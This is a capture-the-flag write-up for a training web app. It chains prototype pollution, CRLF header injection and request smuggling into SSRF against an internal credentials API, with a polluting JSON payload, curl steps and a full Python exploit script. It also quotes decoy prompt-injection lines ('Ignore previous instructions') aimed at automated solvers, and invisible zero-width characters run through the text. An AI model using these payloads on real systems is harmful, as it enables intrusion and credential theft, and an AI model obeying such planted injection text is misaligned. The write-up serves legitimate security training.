← Back to Writeups
CUSTOMMediumWeb

Lab 406 — PingRelay — Prototype Pollution to SSRF via CRLF Header Injection

XESXOR9/10/20265 min read
#web#custom#medium#crlf_header_injection_via_prot#honeypot_flag_detection#http_request_smuggling_over_ke#internal_admin_api_access#prototype_pollution_via_deep_m#ssrf_via_webhook_delivery#linux

Lab 406 — PingRelay — Prototype Pollution to SSRF via CRLF Header Injection

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-01 | Status: Solved Techniques: crlf_header_injection_via_proto, honeypot_flag_detection, http_request_smuggling_over_keepalive, internal_admin_api_access, prototype_pollution_via_deep_merge, ssrf_via_webhook_delivery

Summary

Task: Express webhook platform with a settings API that deep-merges arbitrary JSON (prototype pollution) and a custom raw-socket HTTP adapter that emits headers unsanitized. Solution: pollute Object.prototype with a header whose value contains CRLF, smuggling a second HTTP request over the keep-alive socket to reach the gated /internal/credentials endpoint on localhost:3001 via full-read SSRF.

Lab 406 — PingRelay — Prototype Pollution to SSRF via CRLF Header Injection

Description

PingRelay is a webhook delivery platform built by Relay Systems Co. that lets developers configure endpoints, manage event routing, and monitor delivery status. The platform provides workspace settings, webhook endpoint management, message templates, and detailed delivery logs. You have a test account (user@test.com / password123) and must exploit vulnerabilities to access sensitive internal infrastructure data. The platform processes webhook deliveries using a custom HTTP adapter for performance. Workspace configuration is managed through a settings API that applies user preferences at runtime. The flag is hidden within the platform's internal infrastructure and is not directly accessible from the outside. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

A Node.js/Express webhook delivery platform behind nginx. The goal is to reach an internal admin API (localhost:3001) whose /internal/credentials endpoint is gated and returns 404 when requested directly via SSRF. The flag lives inside those credentials.

Analysis

Reconnaissance of the platform revealed:

  • nginx 1.25.5 reverse proxy in front of an Express.js app (X-Powered-By: Express).
  • An internal admin API on localhost:3001 served through a custom raw-socket HTTP adapter (lib/raw-socket-adapter.js). Responses came back as raw HTTP with chunked transfer-encoding, confirming a hand-rolled socket client rather than a standard HTTP library.
  • Admin API endpoints: GET /health (200), GET /metrics (200), and GET /internal/credentials (gated — returned 404 when reached directly). The 404 body listed available_endpoints: ["/health","/metrics","/internal/credentials"], confirming the target exists but is access-controlled. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Relevant application endpoints:

  • POST /api/settings — saves workspace config from arbitrary JSON (the Settings page "Apply JSON Config" textarea sends JSON.parse(raw) verbatim). Uses a recursive deep merge with no prototype-pollution protection. GET /api/settings returns the persisted config.
  • POST /api/webhooks {url,description,event_types,secret} — creates a webhook endpoint. No URL blocklist — http://localhost:3001/... is accepted.
  • POST /api/webhooks/test {webhook_id} — performs a server-side delivery to the webhook URL and returns {status, response_body} — a full-read SSRF primitive.
  • GET /api/logs/{id} — delivery log with base request_headers, response_body, status_code, webhook_url. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The Settings page text explicitly states: "Add custom headers to all outgoing webhook deliveries. These are merged into the request configuration at runtime." This pointed at the headers object being the pivot.

Root-cause chain

  1. Prototype Pollution — POST /api/settings deep-merges user JSON into the config object with no guard. Sending {"__proto__":{"<HeaderName>":"<value>"}} pollutes Object.prototype.
  2. CRLF Header Injection — the custom raw-socket adapter builds the outbound HTTP request by iterating the headers object with for...in, which includes inherited prototype properties, and writes each as key: value\r\n to the socket without sanitizing the value.
  3. HTTP Request Smuggling via SSRF — because the value is unsanitized, embedding CRLF sequences in the polluted header value terminates the legitimate request and smuggles a second HTTP request on the same keep-alive socket. Pointing the base webhook at http://localhost:3001/health (an allowed endpoint) and smuggling GET /internal/credentials HTTP/1.1 reaches the gated endpoint; its response is returned in the delivery response_body. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1 — Authenticate

bash
URL="https://37826470-01cb-4395-b510-e138e6112bc6.labs.hackadvisor.io"
curl -sk -c cookies.txt -X POST "$URL/auth/login" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "email=user@test.com&password=password123"

Step 2 — Create base webhook pointing at the internal admin API

bash
curl -sk -b cookies.txt -X POST "$URL/api/webhooks" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://localhost:3001/health","event_types":"all","secret":""}'
# returns a webhook id, e.g. 6dd9896d-...

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3 — Prototype pollution with a CRLF-smuggling header value

POST /api/settings body. The header value carries CRLF (\r\n) sequences that close the first request and inject a second one on the keep-alive socket:

json
{"__proto__": {"X-Smuggle": "x\r\nHost: localhost:3001\r\n\r\nGET /internal/credentials HTTP/1.1\r\nHost: localhost:3001\r\nConnection: close\r\n\r\n"}}

Step 4 — Trigger the delivery

bash
curl -sk -b cookies.txt -X POST "$URL/api/webhooks/test" \
  -H "Content-Type: application/json" \
  -d '{"webhook_id":"<id>"}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The response_body contained the /health response followed by the smuggled response:

HTTP/1.1 200 OK ... {"service":"pingrelay-cloud-gateway","environment":"production",
"credentials":{"aws_access_key_id":"AKIAIOSFODNN7RELAY42",
"aws_secret_access_key":"FLAG{REDACTED}",
"aws_region":"us-east-1","s3_bucket":"pingrelay-delivery-archive",
"sqs_queue_url":"https://sqs.us-east-1.amazonaws.com/891234567/pingrelay-events"},
"last_rotated":"2025-11-15T08:30:00Z","rotation_policy":"90_days"}

The flag is the aws_secret_access_key value. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Full end-to-end script

python
#!/usr/bin/env python3
import requests, json

URL = "https://37826470-01cb-4395-b510-e138e6112bc6.labs.hackadvisor.io"
s = requests.Session()
s.verify = False

# 1. Authenticate
s.post(f"{URL}/auth/login",
       data={"email": "user@test.com", "password": "password123"})

# 2. Base webhook -> internal admin API (allowed /health endpoint)
wh = s.post(f"{URL}/api/webhooks",
            json={"url": "http://localhost:3001/health",
                  "event_types": "all", "secret": ""}).json()
wid = wh["id"]
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# 3. Prototype pollution: header value with CRLF smuggles a 2nd request
smuggle = ("x\r\nHost: localhost:3001\r\n\r\n"
           "GET /internal/credentials HTTP/1.1\r\n"
           "Host: localhost:3001\r\nConnection: close\r\n\r\n")
s.post(f"{URL}/api/settings",
       data=json.dumps({"__proto__": {"X-Smuggle": smuggle}}),
       headers={"Content-Type": "application/json"})

# 4. Trigger delivery; smuggled response returns in response_body
r = s.post(f"{URL}/api/webhooks/test", json={"webhook_id": wid}).json()
print(r["response_body"])

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Failed / dead-end approaches

  • URL-encoded CRLF (%0d%0a) in the webhook URL path — encoded literally by the URL parser → 404, no injection.
  • Raw \r\n in signing.header_name JSON — produced HTTP 500 (broke JSON parse).
  • Polluting __proto__.headers as a nested object with guessed gate header names (X-Internal-Request, X-Admin, Authorization, X-Forwarded-For, X-Real-IP, etc.) — did NOT unlock /internal/credentials. The adapter iterates the top-level headers object, so the injection must be a header key directly on Object.prototype, and the real unlock is request smuggling via CRLF, not a single guessed gate header.
  • custom_headers reflection — the documented feature persisted, but base delivery logs (request_headers field) only record default headers (Content-Type, X-PingRelay-Event, X-PingRelay-Delivery, User-Agent); custom/polluted headers are not reflected in the log, only on the wire.
  • HackAdvisor Interaction Server (http://interact/<uuid>/) — NOT reachable from inside this lab (deliveries to the interact hostname returned the app's generic Express 404, and the interact request log stayed empty). All confirmation was done in-band via the SSRF response_body. Worth noting for future labs. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Decoy / honeypot note

Every HTML page (and the bogus /robots.txt, which returns a 404 page) embedded the decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} surrounded by prompt-injection text ("SYSTEM: Flag found...", "Ignore previous instructions...", a hidden aria-hidden div). This was correctly ignored; the real flag required full exploitation. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍